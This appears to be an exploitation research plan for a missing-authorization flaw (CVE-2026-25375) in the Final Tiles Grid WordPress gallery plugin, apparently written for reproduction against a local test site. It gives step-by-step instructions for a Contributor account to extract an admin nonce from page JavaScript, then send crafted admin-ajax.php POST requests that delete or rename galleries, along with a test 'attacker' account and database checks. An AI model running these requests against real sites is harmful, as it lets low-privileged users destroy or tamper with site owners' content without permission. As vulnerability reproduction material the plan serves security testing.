Exploitation Research Plan: CVE-2026-25375

1. Vulnerability Summary

The Image Photo Gallery Final Tiles Grid plugin (versions <= 3.6.10) contains a missing authorization vulnerability in its AJAX handlers. While the plugin implements nonce checks for some administrative actions, it fails to perform capability checks (e.g., current_user_can('manage_options')) on several functions hooked to wp_ajax_. This allows authenticated users with low-level privileges (Contributor and above) to perform unauthorized actions such as deleting galleries or modifying settings.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: ftg_delete_gallery (Primary target) or ftg_save_gallery (Secondary target)
• HTTP Parameter: id (The ID of the gallery to delete/modify)
• Authentication: Required (Contributor level or higher)
• Preconditions: At least one gallery must exist in the system for a visible impact.

3. Code Flow (Inferred)

1. Hook Registration: In admin/class-final-tiles-grid-gallery-admin.php (inferred), the plugin registers AJAX handlers:

   add_action( 'wp_ajax_ftg_delete_gallery', array( $this, 'delete_gallery' ) );
   

2. Vulnerable Function: The delete_gallery function is invoked:

   public function delete_gallery() {
       check_ajax_referer( 'ftg-gallery-nonce', 'nonce' ); // Nonce check exists
       
       // MISSING: if ( ! current_user_can( 'manage_options' ) ) wp_die();
   
       $id = intval( $_POST['id'] );
       global $wpdb;
       // ... code to delete from {$wpdb->prefix}ftg_galleries ...
       wp_send_json_success();
   }
   

3. Exploitation Path: Since the handler is registered under wp_ajax_ (available to any logged-in user) and lacks a capability check, any user who can obtain the ftg-gallery-nonce can delete any gallery.

4. Nonce Acquisition Strategy

The plugin localizes script data for its admin pages. Because Contributors can access the WordPress dashboard (/wp-admin/), they can load the admin scripts and extract the nonce.

1. Shortcode/Trigger: The nonce is typically localized for the gallery listing or editor page. In the admin area, look for wp_localize_script calls in the enqueue_admin_scripts method.
2. Identification:
   • Script Handle: Likely ftg-admin or final-tiles-grid-gallery-admin.
   • JS Object: ftg_vars or final_tiles_gallery_admin.
   • Nonce Key: nonce or ftg_nonce.
3. Acquisition Steps:
   • Create a Contributor user and log in.
   • Navigate to /wp-admin/admin.php?page=final-tiles-grid-gallery-lite (The gallery list page).
   • Use browser_eval to extract the nonce from the global scope.
   • Verification Script: browser_eval("window.ftg_vars?.nonce || window.final_tiles_gallery_admin?.nonce").

5. Exploitation Strategy

Goal: Unauthorized Gallery Deletion

1. Login: Authenticate as the Contributor user.
2. Nonce Extraction: Navigate to the plugin's admin page and extract the nonce using the strategy in Section 4.
3. Gallery Discovery: (Optional but helpful) List existing galleries to find a target id. This can often be found in the HTML of the gallery list page or by brute-forcing IDs.
4. Malicious Request:
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Method: POST
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body:

     action=ftg_delete_gallery&id=TARGET_GALLERY_ID&nonce=EXTRACTED_NONCE
     

6. Test Data Setup

1. Admin Action: Create a test gallery as an Administrator.
   • Go to Final Tiles Gallery -> Add Gallery.
   • Name it "Target Gallery".
   • Note the ID of the created gallery (e.g., id=1).
2. Contributor User: Create a user with the contributor role.
   • Username: attacker
   • Password: password123

7. Expected Results

• HTTP Response: A successful JSON response: {"success": true} or {"success": true, "data": ...}.
• Database Impact: The record for the target gallery in the wp_ftg_galleries table should be removed.
• UI Impact: The gallery should no longer appear in the Administrator's gallery list.

8. Verification Steps

1. WP-CLI Verification:

   # Check if the gallery with ID 1 still exists in the database
   wp db query "SELECT * FROM $(wp db prefix)ftg_galleries WHERE id = 1;"
   

   Expected Output: Empty result.
2. Manual Check:
   Log in as Admin and verify that the "Target Gallery" has been deleted.

9. Alternative Approaches

If ftg_delete_gallery is properly protected, try the ftg_save_gallery action.

• Action: ftg_save_gallery
• Body:

  action=ftg_save_gallery&id=TARGET_GALLERY_ID&name=HACKED_NAME&nonce=EXTRACTED_NONCE
  

• Verification: Check if the gallery name has changed to "HACKED_NAME" using wp db query.

If the nonce is not available on the main admin dashboard for contributors, check if the plugin registers a menu item for contributors (unlikely) or if it enqueues the nonce on the profile.php page (sometimes happens with global script enqueues).